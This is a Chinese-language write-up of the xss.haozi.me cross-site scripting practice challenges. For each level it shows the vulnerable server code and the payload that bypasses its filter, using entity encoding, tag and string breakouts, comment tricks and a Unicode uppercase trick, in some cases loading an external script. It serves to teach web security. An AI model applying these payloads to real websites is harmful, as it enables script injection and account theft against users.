---
# System prepended metadata

title: Writeup —【xss.haozi.me】

---

#  Writeup —【xss.haozi.me】

---

## 0x00：
題目：https://xss.haozi.me/#/0x00

:::danger
Server Code：
```
function render (input) {
  return '<div>' + input + '</div>'
}
```
:::

:::info
解釋：

這題沒有任何限制，單純的一個輸入地方。
:::

:::success
input code：
```
<script>alert(1)</script>
```
:::

---

## 0x01：
題目：https://xss.haozi.me/#/0x01

:::danger
Server Code：
```
function render (input) {
  return '<textarea>' + input + '</textarea>'
}
```
:::

:::info
解釋：

這題在前後，被 textarea 這個標籤包住，因此我們要先讓他閉合。
:::

:::success
input code：
```
</textarea><script>alert(1)</script><textarea>
```
:::

---

## 0x02：
題目：https://xss.haozi.me/#/0x02

:::danger
Server Code：
```
function render (input) {
  return '<input type="name" value="' + input + '">'
}
```
:::

:::info
解釋：

這題跟上一題有點像，只是是包在參數裡面，因此我們要先讓他閉合。
:::

:::success
input code：
```
"><script>alert(1)</script>
```
:::

---

## 0x03：
題目：https://xss.haozi.me/#/0x03

:::danger
Server Code：
```
function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}
```
:::

:::info
解釋：

這題會把「(」和「)」替換掉（直接消失），但是我們可以用其他東西代替。
※ 反引號「\`」功能：
1. 普通的字串
2. 包含換行的字串
3. 包含變數的字串
4. 可以調用函數來執行包住的字串
5. 包含表達式的字串中

所以這邊我們就可以利用反引號同樣調用 alert()
:::

:::success
input code：
```
<script>alert`1`</script>
```
:::

---

## 0x04：
題目：https://xss.haozi.me/#/0x04

:::danger
Server Code：
```
function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}
```
:::

:::info
解釋：

這題跟上一提很像，但是它把「\`」也替換掉了（直接消失）。
我們可以嘗試用編碼繞過。
※ [編碼](https://ascii.cl/htmlcodes.htm)
然而，這邊的輸入只是被包在標籤裡面，而不是標籤「內部」。
所以需要用一些方法想辦法讓他知道要轉編碼。
:::

:::success
input code：
可以用 svg 這個標籤來執行後面的字串。
```
<svg><script>alert&#40;1&#41;</script></svg>
```
:::

:::success
input code：
iframe 這個標籤的 srcdoc 可以直接去寫轉譯後的html片段。
※ srcdoc 裡面的代碼會作爲 iframe 中的內容顯示出來。
```
<iframe srcdoc="<script>alert&#40;1&#41;</script>">
```
:::

---

## 0x05：
題目：https://xss.haozi.me/#/0x05

:::danger
Server Code：
```
function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}
```
:::

:::info
解釋：

這題一樣想到要閉合它，但是它把「\-\-\>」替換掉了。
但是可以發現，就算我們使用「\-\-\!\>」，它一樣可以執行。
:::

:::success
input code：
```
--!><script>alert(1)</script>
```
:::

---

## 0x06：
題目：https://xss.haozi.me/#/0x06

:::danger
Server Code：
```
function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}
```
:::

:::info
解釋：

這題會想到要用屬性去用它，但是題目替換了 「auto」、「on」 為開頭，「\=」 結尾的標籤成為 「\_」 。
我們可以用換行來繞過它。
:::

:::success
input code：
```
onmouseover
=alert(1)
```
:::

---

## 0x07：
題目：https://xss.haozi.me/#/0x07

:::danger
Server Code：
```
function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}
```
:::

:::info
解釋：

這題會替換掉 「\<」 或 「</」 開頭，「\>」 或 「/>」 結尾的標籤。
但是我們知道有容錯機制，可以用這個來自動加上我們後面需要補上的「/>」。
（最後面有一個空白）
:::

:::success
input code：
```
<img src=1 onerror=alert(1) 
```
:::

---

## 0x08：
題目：https://xss.haozi.me/#/0x08

:::danger
Server Code：
```
function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}
```
:::

:::info
解釋：

這題想要先閉合它，但是題目會替換掉 「\<style>」的標籤，甚至連編碼都用掉了。
但是其實很簡單，我們只要在標籤中間空一格（或是直接換行），就可以繞過檢查。
:::

:::success
input code：
```
</style ><script>alert(1)</script>
```
:::

---

## 0x09：
題目：https://xss.haozi.me/#/0x09

:::danger
Server Code：
```
function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}
```
:::

:::info
解釋：

這題蠻酷的，會檢查要以 https://www.segmentfault.com 開頭，其實很簡單。
:::

:::success
input code：
```
https://www.segmentfault.com/"></script><a href=1 onmouseover=alert(1)>click</a>
```
:::

---

## 0x0A：
題目：https://xss.haozi.me/#/0x0A

:::danger
Server Code：
```
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}
```
:::

:::info
解釋：

這題輸入 URL，一樣會檢查要以 https://www.segmentfault.com 開頭。
可以引用外在 JS 文件。
（官方正解）（但是我不能用）
:::

:::success
input code：
（官方正解）
```
https://www.segmentfault.com.haozi.me/j.js
```
:::

:::success
input code：
```

```
:::

---

## 0x0B：
題目：https://xss.haozi.me/#/0x0B

:::danger
Server Code：
```
function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}
```
:::

:::info
解釋：

這題會將輸入轉成大寫。但是其實標籤以及屬性不會有差。
因此我們可以試試看引用外在 JS 文件。
（官方正解）（但是我不能用）
:::

:::success
input code：
（官方正解）
```
<script src="https://www.segmentfault.com.haozi.me/j.js"></script>>
```
:::

:::info
解釋：

由於內容會被轉換成大寫，我們可以用編碼來繞過。
:::

:::success
input code：
```
<img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>
```
:::

---

## 0x0C：
題目：https://xss.haozi.me/#/0x0C

:::danger
Server Code：
```
function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}
```
:::

:::info
解釋：

這題除了上題那樣會將輸入轉成大寫，還把「script」標籤替換了。
但是由於它只替換一次，因此我們可以亂打成下面那樣。
（官方正解）（但是我不能用）
:::

:::success
input code：
（官方正解）
```
<scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scscriptript>>
```
:::

:::info
解釋：

同上題，新加入的限制不影響。
:::

:::success
input code：
```
<img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>
```
:::

---

## 0x0D：
題目：https://xss.haozi.me/#/0x0D

:::danger
Server Code：
```
function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}
```
:::

:::info
解釋：

這題一開始想要閉合，但是它把東西都替換了。
因此換個想法，直接強制換行就可以繞過它。
:::

:::success
input code：
```

alert(1);
-->
```
:::

---

## 0x0E：
題目：https://xss.haozi.me/#/0x0E

:::danger
Server Code：
```
function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}
```
:::

:::info
解釋：

這題除了會將輸入轉成大寫，還會將輸入的標籤替換成「\<\_\.\.\.」。
我認為這題最猛，我真的沒想到！
當然，一樣用引用外在文件，只是要想辦法在使用標籤「\<script\>」時，避開它的檢查。
我們找到一個字元「ſ」，它在轉換成大寫後剛好會是「S」！（傻眼XD）
（官方正解）
:::

:::success
input code：
（官方正解）
```
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
```
:::

---

## 0x0F：
題目：https://xss.haozi.me/#/0x0F

:::danger
Server Code：
```
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
```
:::

:::info
解釋：

這題把那幾項換成後面的東西，然而它在標籤裡面，所以編碼是可以被分析的！
:::

:::success
input code：
```
');alert(1);('
```
:::

---

## 0x10：
題目：https://xss.haozi.me/#/0x10

:::danger
Server Code：
```
function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}
```
:::

:::info
解釋：

這題一樣就單純讓它閉合。
:::

:::success
input code：
```
1;alert(1);
```
:::

---

## 0x11：
題目：https://xss.haozi.me/#/0x11

:::danger
Server Code：
```
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}
```
:::

:::info
解釋：

這題跟上上題很像，只是更改的東西不能用了。
然而可以發現，就算題目把「\"」替換成「\\"」，一樣可以閉合前面的「console.log\(\"」。
:::

:::success
input code：
```
");alert(1)//
```
:::

---

## 0x12：
題目：https://xss.haozi.me/#/0x12

:::danger
Server Code：
```
// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}
```
:::

:::info
解釋：

這題「\"」替換爲「\\\"」，所以如果這裏直接用「\\\"\)」閉合會被分析，所以要再加一個「\\」。
:::

:::success
input code：
```
\");alert(1);//
```
:::

---

